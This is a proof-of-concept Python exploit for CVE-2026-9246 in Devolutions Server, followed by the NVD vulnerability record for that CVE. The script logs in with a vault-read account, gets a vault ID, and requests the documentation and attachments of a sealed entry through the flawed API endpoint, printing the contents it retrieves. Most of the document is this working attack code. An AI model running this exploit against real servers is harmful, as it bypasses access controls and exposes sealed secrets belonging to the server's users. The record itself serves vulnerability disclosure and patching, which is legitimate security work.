CVE-2026-9246

# CVE-2026-9246 PoC - Devolutions Server Improper Access Control # This PoC demonstrates accessing sealed entry documentation via crafted API request import requests import json # Configuration TARGET_URL = "https://target-server/api" USERNAME = "[email protected]" PASSWORD = "password123" SEALED_ENTRY_ID = "sealed-entry-uuid-here" def exploit_cve_2026_9246(): """ Exploit for CVE-2026-9246: Improper access control in Devolutions Server Allows authenticated users with vault read access to retrieve documentation and attachments of sealed entries via crafted API requests. """ # Step 1: Authenticate and obtain session token login_url = f"{TARGET_URL}/auth/login" login_data = { "username": USERNAME, "password": PASSWORD } session = requests.Session() response = session.post(login_url, json=login_data) if response.status_code != 200: print(f"[-] Authentication failed: {response.status_code}") return False token = response.json().get('token') print(f"[+] Authentication successful, token obtained") # Step 2: Get vault ID with read access vaults_url = f"{TARGET_URL}/vaults" headers = {"Authorization": f"Bearer {token}"} vaults_response = session.get(vaults_url, headers=headers) if vaults_response.status_code != 200: print(f"[-] Failed to retrieve vaults") return False vault_id = vaults_response.json()[0]['id'] print(f"[+] Obtained vault ID: {vault_id}") # Step 3: Exploit - Access sealed entry documentation via crafted request # This is the vulnerable endpoint that should reject access to sealed entries exploit_url = f"{TARGET_URL}/vaults/{vault_id}/entries/{SEALED_ENTRY_ID}/documentation" exploit_response = session.get(exploit_url, headers=headers) if exploit_response.status_code == 200: documentation = exploit_response.json() print(f"[!] VULNERABLE: Successfully accessed sealed entry documentation") print(f"[+] Documentation content: {json.dumps(documentation, indent=2)}") # Step 4: Also attempt to access sealed entry attachments attachments_url = f"{TARGET_URL}/vaults/{vault_id}/entries/{SEALED_ENTRY_ID}/attachments" attachments_response = session.get(attachments_url, headers=headers) if attachments_response.status_code == 200: attachments = attachments_response.json() print(f"[!] VULNERABLE: Successfully accessed sealed entry attachments") print(f"[+] Attachments: {json.dumps(attachments, indent=2)}") return True else: print(f"[-] Target may be patched or entry is not sealed") return False if __name__ == "__main__": print("CVE-2026-9246 PoC - Devolutions Server Access Control Bypass") print("=" * 60) exploit_cve_2026_9246()

{"cve": {"id": "CVE-2026-9246", "sourceIdentifier": "[email protected]", "published": "2026-05-22T16:16:25.653", "lastModified": "2026-05-22T19:04:04.400", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper access control in the entry documentation and attachment features in Devolutions Server allows an authenticated user with vault read access to retrieve the documentation and attachments of sealed entries via a crafted API request.\n\nThis issue affects :\n\n * Devolutions Server 2026.1.6.0 through 2026.1.16.0\n * Devolutions Server 2025.3.20.0 and earlier"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:devolutions:devolutions_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025.3.22.0", "matchCriteriaId": "6E689234-ABCB-49B5-AD17-00C2E2FC3B11"}, {"vulnerable": true, "criteria": "cpe:2.3:a:devolutions:devolutions_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "2026.1.6.0", "versionEndExcluding": "2026.1.19.0", "matchCriteriaId": "02811CA7-5B80-47D7-B826-18B3CB1213E9"}]}]}], "references": [{"url": "https://devolutions.net/security/advisories/DEVO-2026-0013/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}